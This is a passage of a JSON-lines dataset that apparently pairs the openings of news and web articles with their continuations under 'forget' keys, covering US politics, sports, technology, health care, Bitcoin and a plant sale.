prestigious - and increasingly bizarre and difficult to keep hidden from the disdainful eyes of a concerned government - exhibition, expressing new and different interpretations of the role of the anomalous in human life. It was at the sixth decennial exhibition in 1924 that the growing rift between the two largest schools of thought - logical vs. emotional, science vs. faith, Old World vs. New - came to a head, for it was at that show that for the first time, the works of the French surrealist Marcel Duchamp would be exhibited alongside those of"}
{"prompt": "ST. PAUL, Minnesota (CNN) -- Alaska Gov. Sarah Palin came out swinging Wednesday night, but it's going to take more than just fighting words to win over the independent and undecided voters who hold the election in their hands. Gov. Sarah Palin's speech Wednesday night fired up Republican delegates. Palin's speech at the Republican National Convention marked her first major address as the Republican vice presidential candidate. The Alaska governor tore into Democratic presidential nominee Barack Obama as two-faced, arrogant and unable to lead while she painted Republican candidate John McCain as courageous reformer who is ready to take charge.", "forget": "Her prime time address was full of humor and sarcasm. Her tone was a hit with delegates watching in St. Paul, Minnesota, but it didn't resonate well with everyone outside of the Republican circle. \"She came across as angry and overconfident,\" said Kuntal Warwick, an independent voter from King of Prussia, Pennsylvania. Palin had little to say about policy, and her speech was full \"of smugness and mockery,\" Warwick said. Independents like Warwick, combined with voters who have yet to make up their mind, are the ones who could decide who ends up in the White House. Watch what iReporters think about the speech \u00bb \"The base of the Democratic and Republican parties -- their votes are predictable,\" said John Avlon, author of \"Independent Nation: How Centrists Can Change American Politics.\" \"It's the swing voters who decide who's going to carry the balance of power, who will ultimately win that election state-by-state and even nationwide.\" Avlon didn't have a problem with Palin's tone. He said her humor and confidence will probably appeal to the independents, but it's the lack of substance that will leave that group in search of something more. Grade the speech \u00bb Independent voters tend to be fiscally conservative and socially liberal, and they usually vote for the more centrist candidates. iReport.com: What do you think of Palin? Palin's speech touched on her fiscal record, but her far-right stance on social issues, which Avlon says \"could be a real wedge with independent voters,\" were largely unmentioned. Watch analysts discuss the good, the bad and the ugly \u00bb \"I think she has really helped close the enthusiasm gap which existed and really energized them,\" Avlon said, but \"there is a substance gap that still exists, things we don't know about Sarah Palin in terms of what policy she"}
{"prompt": "Sound isn\u2019t usually the first thing that comes to mind when you\u2019re playing a mobile game. But that could change if RJDJ co-founder, Michael Breidenbruecker, gets his way. In an interview, Breidenbruecker described the company\u2019s latest app, Dimensions and the potential of sonic augmented reality applications, a genre so bleeding edge that his company\u2019s apps may be the first entries to it. Breidenbruecker is a co-founder of last.fm, the web music service that tracks, or scrobbles, the music its users listen to across a variety of environments, devices, and software applications. He is also the founder of RJDJ, the mobile", "forget": "app company that created Inception \u2013 The App, which is based on the movie of the same name. Inception- The App takes gamers through a multi-level dream space, allowing them to move through and experience dream state to dream state, collecting ephemera and unlocking new dreams in the process. Dimensions has a similar concept, moving between dimensions, but is based on sound \u2013 that of the environment the user is in. Breidenbruecker calls the back-end technology here King Kong Context Detection Technology, a title which he says was created \u201cbecause it sounds more fun than the technical terms.\u201d The app is a trippy sonic experience, creating an almost hallucinogenic trip through one\u2019s own life activities. Inspired by games like Shadow Cities and Epic Win, RJDJ wanted to create a game that connects to the things we do in our real life. Contextual cues form the kernel from which the game experience can create a sonic environment. In Dimensions, there\u2019s also a GPS/Google Maps component, with players seeking out glowing \u201cQuantum Cells,\u201d a kind of currency that players use power a beam used to gather artifacts and repel enemies. Ultimately, though, Breidenbruecker is interested in the bigger ideas, like Will Wright\u2019s HiveMind ideas, which he read about right here on VentureBeat. The app developers at RJDJ wanted to create a game where players didn\u2019t need to focus on the game at all times \u2013 to make a game that could be played in real life, rather than only on the touchscreen. He says, \u201cWhen we started to talk about that, and we read what Will Wright is up to at the moment, we realized that the whole genre is starting to happen here, which was super interesting and new.\u201d He\u2019s also aware that being the first to a new genre isn\u2019t"}
{"prompt": "After news broke Wednesday night that the President may have struck a deal with Democratic congressional leaders to pass DACA legislation, on Thursday morning, ABC\u2019s Good Morning America and NBC\u2019s Today gushed over how Trump \u201csounds like a Democrat\u201d when discussing illegal immigration and tax reform. Continuing their giddy evening newscast coverage of Trump inviting Senate Minority Leader Chuck Schumer and House Minority Leader Nancy Pelosi to the White House for dinner, the ABC and NBC morning shows found sudden respect for the commander-in-chief after spending the entire summer pummeling him. \u201cBefore that bipartisan dinner, the President presided over a", "forget": "bipartisan meeting....Where the Democrat-turned-Republican president sounded a lot more like a Democrat, saying the wealthy may have to pay higher taxes,\u201d correspondent Cecilia Vega proclaimed on Good Morning America. Following Vega\u2019s report, co-host George Stephanopoulos announced: \u201cThis has enraged conservatives. A couple tweets overnight, Steve King, conservative from Iowa, \u2018Trump base is blown up, destroyed, irreparable, and disillusioned beyond repair. No promise is credible.\u2019\u201d Daily Beast Editor-in-Chief John Avlon hailed: You know, he seemed conflicted about DACA and the compassion for individuals is one of the things he really tweeted out, \u201cWhy would we want to deport people who are here through no fault of their own, who are serving their country in the military in some cases.\u201d Those are more Democratic talking points than conservative. <<< Please support MRC's NewsBusters team with a tax-deductible contribution today. >>> Stephanopoulos followed up: \u201cThe President also sounds like a Democrat saying wealthier \u2013 the wealthy are gonna have to pay more under his tax plan.\u201d Avlon agreed: \u201c...the President saying he\u2019s going to focus on middle class tax cuts and the wealthy might get a hike, that sounds like a Democrat.\u201d On NBC\u2019s Today, correspondent Peter Alexander enthused: All of it a strategic shift for the President. Just last week, shocking the capital by making a deal with Democrats on a debt ceiling extension, pulling the rug out from under the GOP....Not long ago, Mr. Trump mocked Schumer as the \u201chead clown,\u201d Pelosi as a \u201closer\u201d....Now he\u2019s cozying up to the Democratic duo....Even sounding a lot like a Democrat on taxes, signaling that the rich might pay more. Reporting for Wednesday\u2019s CBS This Morning, Congressional Correspondent Nancy Cordes touted: \u201cI think what it says is that the President likes to be able to not just cut deals, but cut quick deals and"}
{"prompt": "ANALYSIS/OPINION: President Obama claims federal budget deficits have not soared out of control during his administration. He has officially jumped the shark. On Wednesday at a Denver fundraiser, Mr. Obama said he was \u201crunning to pay down our debt in a way that\u2019s balanced and responsible.\u201d He claimed that \u201cafter inheriting a $1 trillion deficit, I signed $2 trillion of spending cuts into law\u201d and that since he has been president, \u201cfederal spending has risen at the lowest pace in nearly 60 years. Think about that.\u201d It doesn\u2019t take much thought to see that this is the most absurd claim", "forget": "in political memory. Mr. Obama is basing his boast on an already discredited study by journalist Rex Nutting that purported to show that \u201cObama has been the most fiscally moderate president we\u2019ve had in 60 years.\u201d Among other fatal problems with the study is that it omits all spending that took place during the first nine months of the Obama administration, which were the last nine months of fiscal 2009. Thus, all of the initial spending programs to which the White House points with pride - particularly the failed nearly trillion-dollar economic stimulus program - are George W. Bush\u2019s responsibility so far as Mr. Nutting is concerned. The \u201csavings\u201d Mr. Obama signed into law were all based on rosy economic projections, none of which has come true. The fiscal 2010 budget, fancifully titled \u201cA New Era of Responsibility,\u201d projected a $1.2 trillion cut in the deficit to $533 billion by 2013. The fiscal 2012 budget, which had no hopeful title, raised this number to $768 billion. Mr. Obama\u2019s September 2011 deficit-reduction proposal further raised the projected 2013 deficit to $912 billion. The fiscal 2010 budget also hopefully projected 6.26 percent economic growth for 2012 rather than the anemic 1 percent to 2 percent growth the country is suffering. Naturally, Mr. Obama would much rather make reference to the imagined future his economists projected than to the grim reality he actually created. Other simple metrics show the disastrous impact of Mr. Obama on the deficit. The 2009 budget deficit was three times that of 2008. The deficit as a percentage of gross domestic product went from 3.1 percent in 2008 to 9.9 percent in 2009. The deficit for the first month of fiscal 2010 was $176 billion, which was greater than the $161 billion deficit for all of 2007. In his"}
{"prompt": "There are numerous examples of schools punishing students for seemingly innocuous online activity. In 2012, after a Minnesota student wrote a Facebook post saying a hall monitor was \u201cmean\u201d to her, she was forced to turn over her Facebook password to school administrators\u2014in the presence of a sheriff\u2019s deputy. The school made an out-of-court settlement with the student, who was represented by the ACLU. In other recent cases, student banter that would have gone unnoticed in the pre-digital era has drawn swift punishment. In Kansas, a high school class president was suspended for a Twitter post making fun of his", "forget": "school\u2019s football team. In Oregon, 20 students were suspended over a tweet claiming a female teacher flirted with her students. And just a few days ago, also in Kansas, a student was suspended for a tweet that made the principal \u201cuncomfortable\u201d (in the wording of the school\u2019s disciplinary incident notification). \u201cWe cannot allow the hard-fought battles for student speech rights to be eroded in the digital age,\u201d says Lee Rowland, an ACLU staff attorney specializing in speech, privacy, and technology. \u201cSchool officials aren\u2019t permitted to listen in on chatter at students\u2019 private gatherings with friends, or rifle through their private videos and photo albums. Nor should we permit them to do so simply because those conversations or images are digital.\u201d No one disputes the fact that students can be cruel online. Chip Douglas, a 10th grade English teacher in North Carolina, resigned after students created a fake Twitter profile that portrayed him as a hyper-sexualized drug addict. But some First Amendment advocates believe a subsequent law enacted by the North Carolina legislature in December 2012, the first of its kind, has gone too far. Intended to protect teachers from cyber-bullying, the law prohibits students from making any online comments meant to \u201cintimidate or torment\u201d a school employee. Such broad language creates two big First Amendment problems. First, schools can punish any speech as long as they can cite \u201cintimidation.\u201d Second, schools can punish students for comments made after school hours, in the privacy of their own home. \u201cYou can\u2019t equate online speech created on personal time with in-class speech, and it\u2019s dangerous to try,\u201d says Frank LoMonte, director of the Student Press Law Center. \u201cSchools are so prone to censor and intimidate whistleblowers who complain about school conditions on school time. Students absolutely must have some safe space where they"}
{"prompt": "Saturday, June 1 9:00 am \u2013 2:30 pm Rain or Shine | Come early for best selection A complete list of species available will be posted on approximately May 15.\ufeff UMass Waltham Field Station 240 Beaver Street, Waltham, MA 02452 Buy Native ~ We offer over 120 native species, and more than 2,000 plants for sale. Our sale is now in its fifth year! Native plants are the foundation of our local food webs. Help support birds, pollinators, and other beneficial insects by adding more natives to your landscape! \ufeff\ufeff Perennials for sun, shade, part-shade, and all types of soil", "forget": "conditions. \ufeff A large selection of ferns, both evergreen and deciduous. Grasses and sedges, for cool season and warm season interest. \ufeff Trees and shrubs, at small sizes you can take home in your car. \ufeff Remember that native trees and shrubs do the most to increase biodiversity and to enhance the wildlife value of your landscapes. Remember that native trees and shrubs do the most to increase biodiversity and to enhance the wildlife value of your landscapes. This year we will have three previously unavailable species\u2014sweet goldenrod, bluestem goldenrod, and spotted beebalm\u2014custom grown just for our sale. \ufeff \ufeff All of our plants are native to the eastern United States, and the majority are indigenous to New England. \ufeff Our friendly native plant and landscaping Experts will be available all day to answer your questions and give advice on plant selection. \ufeff All sale proceeds support our programs. Thank you! Grow Native Members: Get the quantities you want\u2014 order your plants in advance! Members at the Advocate/Family\ufeff level and above may pre-order plants prior to the sale, selecting the exact quantity of plants desired and having them reserved in advance. We expect to offer 70-80 species through pre-order. The Pre-Sale catalog and order form will be e-mailed to all members in late April, and orders will be due by May 15 . The minimum order is $150 . \ufeff in late April, and orders will be . The minimum order is . \ufeff Pre-Sale orders will be available for pick up on either May 31 or June 1. \ufeff If you want to pre-order plants, please support our work by becoming a member at the Advocate/Family level or above, or by renewing your membership. Your annual contribution helps to make this sale possible. We appreciate your generous support. Sale"}
{"prompt": "Stuart, a 66-year-old man with diabetes, felt lousy\u2014constantly fatigued, nauseated, and short of breath after just the slightest exertion. His daughter, worried by his increasing frailty, took him to the emergency room at the local hospital. Her concern was amply justified: Stuart was suffering from heart failure. Like 5.1 million other Americans each year who suffer from heart failure, he was admitted to the hospital to treat this serious, often life-threatening condition. The caring medical team stabilized his condition, and Stuart left the hospital after 10 days, glad to be home with words of advice and a few medications. Within", "forget": "a month he was back, once again fatigued, and facing a second episode. Stuart\u2019s story is far from rare. Hospital readmissions for chronic conditions such as diabetes, chronic obstructive pulmonary disease (COPD), and congestive heart failure (CHF) are both common and very costly. Studies conducted in the United States indicate that nearly 20% of Medicare patients who are hospitalized for chronic conditions are often readmitted within 30 days. Experts at Edifecs indicate that it costs Medicare\u2014and US taxpayers\u2014about $26 billion a year, and often a large majority of these readmissions are actually considered avoidable with accurate prioritization and personalized care protocols. Readmission-related costs have become so onerous that the Affordable Care Act includes financial rewards and penalties to deal with the readmission problem. Hospitals that reduce their readmission rates receive financial incentives; those that do not, lose reimbursement and get penalized. Holistic tools that can reliably predict heart-failure readmissions\u2014taking into account all aspects of each patient\u2019s condition and risk factors\u2014would significantly help patients and hospitals. The growth in the use of electronic patient records has recently offered the potential for such analysis, but little had been done to harness the collective intelligence contained in hospital patient records augmented with other data sources. By introducing cloud computing technology and applying some of the latest advances in machine learning techniques, researchers are rapidly changing this situation. One leading example of this is RaaS (Readmission Score as a Service), a platform that was developed by the University of Washington (UW) Tacoma\u2019s Center for Data Science. RaaS compares a patient\u2019s medical information to a database of heart-failure outcomes, using advanced machine learning techniques to arrive at a risk-of-readmission factor as well as corresponding actionable guidelines for the patient-provider team. Those patients identified with a high risk receive additional treatment: the goal is to reduce"}
{"prompt": "Top 5 Tips for a Successful and Sane Kickstarter In the coming months we'll be inviting guest blog posts from a variety of people in and around indie development, across a wide range of topics, and we're delighted to present this week's expert insight from the Failbetter Games team. If the name's not familiar, their games certainly will be - Sunless Sea was developed with the aid of a Kickstarter campaign, releasing in early 2015 and emerging as one of the games of the year. Earlier this year, the team launched a new Kickstarter campaign for the follow-up, called Sunless", "forget": "Skies. At the time of writing, it still has a few hours to go (so go back it!), but if you're reading this after it's done, we'd recommend looking over the campaign all the same to understand how the team structured the page, the assets they used, and so on. If you have specific questions, or would like to see certain topics covered, let us know in the comments section. 1. Prep your page within an inch of its life Write an introduction to your game, covering all of the most interesting or unique aspects. What will make people want to play it, instead of anything else? What will make people want to back it, with no gameplay to convince them? (Or do you have a demo?) Then make it as clear as possible. This is easier said than done! Something that makes sense to you, who knows the game backwards, might not be obvious on first reading to someone new. And you only have people\u2019s attention for a short amount of time! Get as much feedback as you can at this stage, perhaps from someone who reviews Kickstarter campaigns professionally. We released the preview link of our page quite widely when it was almost ready. This meant lots of peoplgot to take a look at it early, which feels quite special. We\u2019re pretty sure this contributed strongly to our campaign being funded in four hours! 2. Give your backers plenty to do We knew that we had a core of people who have followed our work and backed us before, so we wanted to make sure there was something in the campaign for all of them. Some have the finances to contribute at a high level, so we created some limited backer rewards at a high tier for them."}
{"prompt": "These are stories Report on Business is following Tuesday, April 9, 2013. Follow Michael Babad and the Globe's top business stories on Twitter. Bitcoin surges Bitcoin, the digital currency that has become a global phenomenon, reached an all-time high today, topping $200 (U.S.). Story continues below advertisement It went as high as $240.11 at one point. As The Globe and Mail's Omar El Akkad writes, Bitcoin has become an Internet sensation, suddenly surging in value four years after its birth. Just to illustrate how far it has come, one Bitcoin was worth about just $9 two years ago, and is", "forget": "now being talked about by those in the currency trade, among others. Of late, this currency has been gaining as the euro crisis rears its ugly head again. Now, of course, there are questions over whether it's in bubble territory. What to make of this? \"You can think of Bitcoins like the suburbia of Toronto, with the crucial difference that the land isn't real and the government steps in to limit the supply the more investors apply,\" said S\u00e9bastien Galy of Soci\u00e9t\u00e9 G\u00e9n\u00e9rale. \"The difference is that instead of taking years for that boom-and-bust process to happen it is happening at an incredibly rapid pace,\" Mr. Galy added. Story continues below advertisement Story continues below advertisement \"Another way to look at it, is Germany post World War I where the absence of manufacturing supply and imported goods meant that lots of moneys helpfully supplied by the central bank was chasing a very limited supply.\" As to its frothy nature, Mr. Galy said something's a bubble only when it pops but \"it has characteristics of one, it would be safe to assume.\" As an asset, said Justin Fox, editorial director of the Harvard Business Review Group, Bitcoin \"is clearly in a bubble,\" and has been so always. Though looking at asset pricing may be the wrong approach in this case, he wrote today on the group's blog. \"A dollar bill lays claim to no stream of future earnings, yet nobody says there's a 'dollar bubble' because somebody's willing to give you a candy bar for one,\" he said. \"This even though a dollar is almost certain to buy you less in a few years than it does now. According to the Bureau of Labor Statistics, a 2013 dollar has one-tenth the purchasing power of the 1950 version.\" Bitcoins, in turn, have"}
{"prompt": "Our Chief Justice thinks that if the evidence of gerrymandering is too sophisticated for laymen to grasp, the court should ignore it. Chief Justice John Roberts in Jackson, Miss., on Sept. 27, 2017. (Photo11: Rogelio V. Solis, AP) For 12 years, Chief Justice John Roberts has worked overtime peddling the dubious conceit that he and his life-tenured colleagues on the U.S. Supreme Court are above politics and determined to remain so. Yet Roberts himself is a consummate politician \u2014 a strategist who worries about appearances and harbors a ward heeler's contempt for the intelligence of the average voter. And his", "forget": "cynicism was on full display last week when justices took up the politically fraught problem of gerrymandering. Plaintiffs in a case known as Gill v Whitford want the Supreme Court to rule that Wisconsin legislators violated the U.S. Constitution when they drew district boundaries that systematically diluted the electoral clout of their state's Democratic voters. More: What if Trump reimbursed us for his Oval Office gains? Time to start a tab. More: Limbaugh, Hannity and Jones on North Korea: A parody in one act A lower court ordered Wisconsin to draw a fairer map after concluding that evidence and voting data submitted by the plaintiffs proved Republicans had configured districts designed to preserve their party\u2019s legislative majority even when Democrats win a majority of the popular vote. Roberts, who knows a ruling in favor of the plaintiffs will jeopardize Republican gerrymanders in more than a dozen other states, wants his colleagues to stay out of a partisan process even simpatico conservatives like Justice Samuel Alito concede is \u201cdistasteful.\u201d The chief justice says the public will lose respect for the courts if he and his colleagues stick their noses into all that distastefulness. But what if a majority party uses its mapmaking prowess to effectively disenfranchise the opposing party's voters? And what if those aggrieved voters can use the same technological advances their opponents exploited to prove an election was rigged, and even to quantify the advantage its rivals gained by manipulating a state's political boundaries? That's exactly what has happened in the Wisconsin case, as one of the country's premier scientists explained in a remarkable friend-of-the-court brief filed on behalf of the plaintiffs. Mapping chromosomes and rigged elections It's rare for disinterested third parties to play a decisive role in landmark Supreme Court cases. But the arguments filed by Eric"}
{"prompt": "By Mick Krever, CNN Tensions between China and Japan, at their worst in half a century, are making conflict \u201cmuch more likely now than it\u2019s probably been in years,\u201d the former top U.S. State Department official for East Asia told CNN\u2019s Christiane Amanpour. If a conflict were to break out, Kurt Campbell said, it would likely be a \u201csmall skirmish, probably easily contained.\u201d But the larger context, of \"what is really the two great countries of Asia, China and Japan\" is hard to ignore. \"Tensions between the two countries are greater now than they've been probably in a half century.\"", "forget": "The two countries have long been loggerheads over uninhabited islands in the East China Sea \u2013 the Chinese call them Diaoyu and the Japanese call them Senkaku. The heat was turned up, however, when China declared an \u201cAir Defense Identification Zone\u201d over the chain of islands. The U.S. military responded by sending two unarmed B-52 bombers through the heart of the contested airspace. America must make clear to China, Campbell said, that the drawing of a military air zone \u201cis deeply provocative.\u201d \u201cThis is a recipe for the kind of incident that we saw in 1983,\u201d he said, when the Soviet Union shot down Korean Air Lines Flight 007. The U.S. has refused to recognize China air defense zone, but has nonetheless advised civilian aircraft flying through the area to notify the Chinese government. That advice made the Japanese, with whom the U.S. has a military defense treaty, none too happy. The U.S., Campbell said, has \u201ctwo imperatives\u201d \u2013 one military, and one civilian. On the military side, he said, the U.S. was very clear that it would not acknowledge China\u2019s new declared air defense zone. But \u201ccivilian airspace monitors,\u201d he said, \u201chave a different set of metrics, and their prime directive is to avoid a mishap in the air.\u201d \u201cTheir initial guidance was apolitical in that sense,\u201d he said. \u201cBut I think the problem is that it has created a little bit of incoherence.\u201d Campbell told Amanpour that he expected that Vice President Joe Biden to clarify the U.S. position. He met with Japanese Prime Minister Shinzo Abe on Tuesday and was set to talk with the Chinese leadership later in the week. The U.S. military will continue to operate in China\u2019s declared zone, Campbell said, as it long had. But he added that he thought there would be"}
{"prompt": "A common narrative in the political and cultural discussions of reproductive health focuses on reducing the number of abortions taking place every year. It\u2019s supposed to be one thing that those who support abortion rights and those who oppose abortion can agree on, the so-called common ground. The assumption is that we can all agree that abortion itself is a bad thing, perhaps necessary, but definitely not a good thing. Even President Clinton declared (and many others have embraced) that abortion should be safe, legal and rare. According to the Guttmacher Institute, almost half of all pregnancies among American women", "forget": "in 2005 were unplanned or unintended. And of those, four in 10 ended in abortion. (http://www.guttmacher.org/pubs/fb_induced_abortion.html#1) In other words, between one-fifth and one-quarter of all pregnancies ended in abortion. Without any other information, those statistics can sound scary and paint a picture of women as irresponsible or poor decision-makers. Therefore reducing the number of abortions is a goal that reproductive health, rights and justice activists should work toward, right? Wrong. Those numbers mean nothing without context. If the 1.21 million abortions that took place in 2005 (http://www.guttmacher.org/pubs/fb_induced_abortion.html#1) represent the number of women who needed abortions (and in my opinion, if a woman decides she needs an abortion, then she does), as well as the many women who chose to terminate pregnancies that they very much wanted but could not afford to carry to term, then that number is too high. The work of reducing the number of abortions, therefore, would entail creating an authentically family-friendly society, where women would have the support they need to raise their families, whatever forms they took. That could include eliminating the family caps in TANF, encouraging unionization of low-wage workers, reforming immigration policies and making vocational and higher education more accessible. On the other hand, if those 1.21 million abortions represent only the women who could access abortion financially, geographically or otherwise, then that number is too low. Yes, too low. If that\u2019s the case, then what is an appropriate response? How do we best support women and their reproductive health? Do we dare admit that increasing the number of abortions might be not only good for women\u2019s health, but also moral and just? What if we stopped focusing on the number of abortions and instead focused on the women themselves? Much of the work of the reproductive health, rights and justice movements would"}
{"prompt": "The eight World Cup second round matches are spread over the course of four days. Here\u2019s previews for the first half\u2026 Uruguay v South Korea Uruguay have been one of the most impressive teams so far \u2013 playing for and achieving a draw against France, destroying South Africa and recording a solid 1-0 victory over Mexico. They started the competition with a 3-5-2 shape, which became more like a 5-3-2 when the wing-backs had to contain France\u2019s wingers. They\u2019ve since switched to a 4-3-1-2 with Diego Forlan playing behind the main two forwards, and they\u2019ll surely play the same formation", "forget": "after their two wins. South Korea\u2019s first XI is fairly predictable. The only changes they\u2019ve made so far have been at right-back, bringing in Oh Bum-Suk against Argentina \u2013 but he was the worst player on the pitch, so Cha Du-Ri has regained his place. The formation will probably be 4-2-3-1. Playing Park Ji-Sung on the left-hand side might be useful to track the forward runs of Maxi Pereira, although he was fielded in the centre of the three against Argentina. Picking up Forlan is the obvious task \u2013 with two holding midfielders, Korea will have a man tracking him, but must worry this will concede the midfield ground to Uruguay. Korea should look to play down their left-hand-side, because Uruguay\u2019s shape tends to be slightly lopsided. Alvaro Pereira, generally a left wing-back, is playing a more central role but tends to drift back out wide, sometimes meaning Uruguay look like two banks of four minus a right-sided midfielder. USA v Ghana The US start as favourites, but this one might suit Ghana tactically; they will be content to sit back and soak up pressure, before hitting the US on the counter-attack. The American full-backs have appeared a little slow in recovering their position after forays forward so far in the tournament, which will be perfect for the pacey Ghana wingers. The best course of action for the US is to put the Ghana centre-backs under as much pressure as possible early on. Ghana will probably have a 3 v 2 advantage in the centre of midfield, so more direct balls towards the strikers (with Clint Dempsey and Landon Donovan supporting very close by, something they did particularly well against England) might be a better approach than playing through midfield. In particular, 20-year-old Jonathan Mensah has looked slightly nervy so"}
{"prompt": "If Mind MGMT\u2014Matt Kindt\u2019s winding epic about men and women with the cognitive power to manipulate reality and those who would stop them\u2014expanded out into a global onslaught of cities to emphasize the series\u2019 blockbuster scope, his new project ranks up the tension and pressure by drilling deep and under. Announced today at Comic-Con International, Matt will both write and pencil the new Dark Horse monthly Dept. H, a murder mystery that takes place in a sabotaged deep-sea observatory. Sharlene Kindt, Matt\u2019s wife who provided coloring and direction on this gorgeous Mind MGMT cover, will provide watercolors. The plot follows", "forget": "Mia, a secret agent posing as a journalist, as she ventures into the Challenger Deep to investigate a homicide among the 100-strong crew. Her investigation pivots to a fight for survival as an act of vandalism sends her and her stranded researchers into a desperate search for a way to survive a two-week period before the station floods. The Kindts will embrace real-time storytelling as each issue takes place over 24-hours, adding a new tension to the suffocating pressure encroaching on the characters. Like a cross between sci-fi Jack London, The Abyss and the criss-cross espionage of Kindt\u2019s previous material, there is no element of this new project we\u2019re not ecstatically awaiting. (And is that a sea monster we spy?!) While in the process of inking the last issue of Mind MGMT, Matt shared the first cover of Dept. H and discussed his fear of the deep seas, his love of Jacques Cousteau and how this project, set to debut this winter, is challenging him after decades in the industry. Paste: So what exactly is Dept. H? Matt Kindt: Dept. H is my next ongoing series. I\u2019m taking the summer off to write the whole thing, or as much as I can, and then I\u2019ll start drawing it in the fall. It\u2019s basically an underwater adventure/murder mystery. This woman gets tasked with going down to the deepest underwater base in the world to figure out what happened when somebody\u2019s murdered down there. The series starts out with her getting into this weird sub designed to go down that deep, then investigating the murder. The whole series is structured around her investigation. The series takes place in real time, but is released monthly. It\u2019ll follow her and the crazy stuff that happens down there, and the mystery and then some other"}
{"prompt": "In the previous post, we took a look at the Blackhawks\u2019 penalty kill, so now let\u2019s take a look at what\u2019s viewed as the other end of the style of play spectrum: the power play. Once again, there is a list of abbreviations listed at the bottom under \u201cResources\u201d with brief explanations for your convenience. All charts can be clicked on to enlarge. From this data, we can gather that Chicago has had 33 successful power-plays (success here being defined as goal-producing), and five wildly unsuccessful ones (power-plays which actually produced opponent\u2019s shorthanded goals). To put those numbers into context,", "forget": "for the season, CHI has had 177 power-play opportunities, making their success rate 18.6%, which ranks them 14th in the league (DET ranks 1st with a 25.6% success rate, BUF ranks last with an 11.4% success rate). So what\u2019s the issue here? Should we be expecting better results? Activity As you can tell from the chart, DET, the top ranked team, puts in an above average amount of work, bringing in about 475 Corsi-for events. CHI\u2019s Corsi-For total ranks a little higher than DET, but with less success. Why? CHI\u2019s shooting percentage is 12.6%, whereas DET\u2019s is 17.6%. In comparison, their shooting percentages for even-strength play are about equivalent, with CHI\u2019s being 7.7% and DET\u2019s being 7.6%. So what keeps CHI from becoming DET on the power-play? Shot location While CHI\u2019s chart is not the inverse of DET\u2019s, you should recognize that DET\u2019s chart reads as high production yield areas being where the most shot attempts are generated, followed by medium-yield, and finally low-yield. Conversely, CHI\u2019s goes from low-yield, high yield to medium-yield. Now let\u2019s look at their success in these areas: HOW TO READ THESE CHARTS For the Shooting Rate and Percentage charts, with For it is better to have areas in red, green being average and blue being worse than average. The Relative Shot Rates are compared to league averages for those zones and can be read as per 1, so higher numbers are better here. Considering CHI\u2019s shooting percentage is about average at this medium-yield area, it would be beneficial to figure out how to increase shots taken in that area. As you can see from DET\u2019s chart, overall the shooting percentage is not something spectacular when placed in the league context. Obviously there are players with higher percentages in these areas, as this is an average,"}
{"prompt": "Photo credit: The Goldwater His was one of the hardest jobs in the U.S. 2016 presidential election, speaking for the man seen as protagonist by many, antagonist by some; and always the most controversial leading figure in the whole event. From the tumultuous campaign where his man and their team defied all the odds to the amazing victory and until this transition period where they are still being rocked by controversies mainly because of the losers' inability to accept the result, Jason Miller as President-elect Donald Trump's spokesperson hold one of the most challenging jobs there is in the whole", "forget": "Trump team speaking for the man, defending him, clarifying things and generally taking the cudgels for the next U.S. President. So effective Miller is in his job that days ago he was formally offered to serve as communications director of the White House. He has accepted the logical transition- only to take it back today saying he wants to make family his main priority after he concludes his work in Trump's transition to the Presidency. Miller shared that he spent the most time with his family the past week, more than at any other time since March last year ever since he began his work for Trump from his campaign all the way to the upset victory and the current transition. Spending time with his loved ones has made Miller realized that he can not afford to take on a job at this point as demanding as what the White House communications director post would entail. Miller said he will conclude his work in the transition team, after which he is ready to hand over his responsibilities as communications director to Sean Spicer, the Republican National Committee Communications Director who was earlier announced to assume the White House press secretary position. With Miller begging off from his supposed role, Spicer is poised to serve both as White House communications director and press secretary. It was not revealed whether there are any other factors that contributed or affected Miller's decision not to take the crucial White House job, other than family matters, or if there are any conflicts with other members of the Trump team or incoming Cabinet. Miller started with the Trump campaign as a senior communications adviser, coming off from his communications work with the presidential campaign of Sen. Ted Cruz. Trump's current spokesperson said he will continue to"}
{"prompt": "The Houston Rockets are telling other teams they intend to trade disgruntled center Omer Asik by Dec. 19, according to sources familiar with the team's plans. Sources told ESPN.com that the Rockets began calling potential trade partners Friday to let them know they intend to deal Asik between Dec. 15 and Dec. 19. The Rockets tried playing Omer Asik and Dwight Howard together and were initially hesitant to entertain trade offers for the Turkish big man. Scott Halleran/Getty Images The significance of such a specific window is two-fold. Dec. 15 is the first day players who signed new contracts in", "forget": "the offseason can be plugged into trades, and Dec. 19 is the last day any player acquired by Houston in an Asik deal can be repackaged with other players before the league's Feb. 20 trade deadline. The calls made by the Rockets on Friday are reminiscent of their approach with Thomas Robinson during the draft in June. It was an open secret that the Rockets would trade Robinson to help clear salary-cap space for their pursuit of Dwight Howard. Taking this step with Asik is in essence an attempt to persuade potential suitors to put their best offer on the table quickly now that the Rockets have established such an exact time frame for trying to complete a trade. Asik has wanted a new address from the moment Howard arrived in July and has privately requested a trade numerous times in the months since, sources said. The Rockets tried playing Howard and Asik together and were initially hesitant to entertain trade offers for the Turkish big man on the premise that the luxury of having either Howard or Asik on the court at all times was too valuable to surrender so quickly. But Asik's angry reaction last month to being dropped out of the starting lineup by Rockets coach Kevin McHale changed the dynamic. Team officials are now aggressively trying to find a workable trade that will not only bring back a worthy asset for a player of Asik's caliber as a defensive anchor and a rebounder but one that also happens quickly enough to ensure that Houston -- known as one of the league's most active teams trade-wise -- maintains flexibility to make subsequent moves on deadline day. Asik has repeatedly declined to comment on his trade request, knowing that any public discussion of the matter would subject him"}
{"prompt": "As the White House and congressional leaders woo votes to authorize military intervention in Syria, certain lawmakers serve as important bellwethers \u2014 and potentially critical components \u2014 to the math of 218. Military action in Syria is, ultimately, a policy vote. But it is also, inescapably, a political one. Voting against Syria could forever mar a Republican as soft on defense, just as voting for it could brand a Democrat a war hawk. And how members vote could play roles in leadership elections down the line. Elections could be won or lost and legacies built or dashed based on this", "forget": "vote \u2014 and lawmakers know it. There are many votes that could be insightful gauges: Kosovo, Libya, perhaps even the fiscal cliff. But the last time the White House and Republican and Democratic leadership were on the same side of a key vote was the National Security Agency amendment from Michigan Republican Justin Amash. The NSA amendment pitted libertarian Republicans and liberal Democrats against establishment lawmakers concerned with national security. It came within seven votes of adoption. It was also the first time a majority of Democrats sided against President Barack Obama on a national security issue. And, as one Democratic aide put it, Democrats learned that \u201cthe sky won\u2019t fall\u201d if they vote against Obama. Another way to handicap the vote is by looking at individual legislators. These 20 so-far-undecided House lawmakers are ones to watch: Republicans Kevin McCarthy of California The No. 3 Republican in the House has yet to decide if he\u2019ll join Speaker John A. Boehner, R-Ohio, and Majority Leader Eric Cantor, R-Va. He probably will, but his reluctance already indicates just how tough a vote this could be. And the last thing Boehner and Obama need is the guy in charge 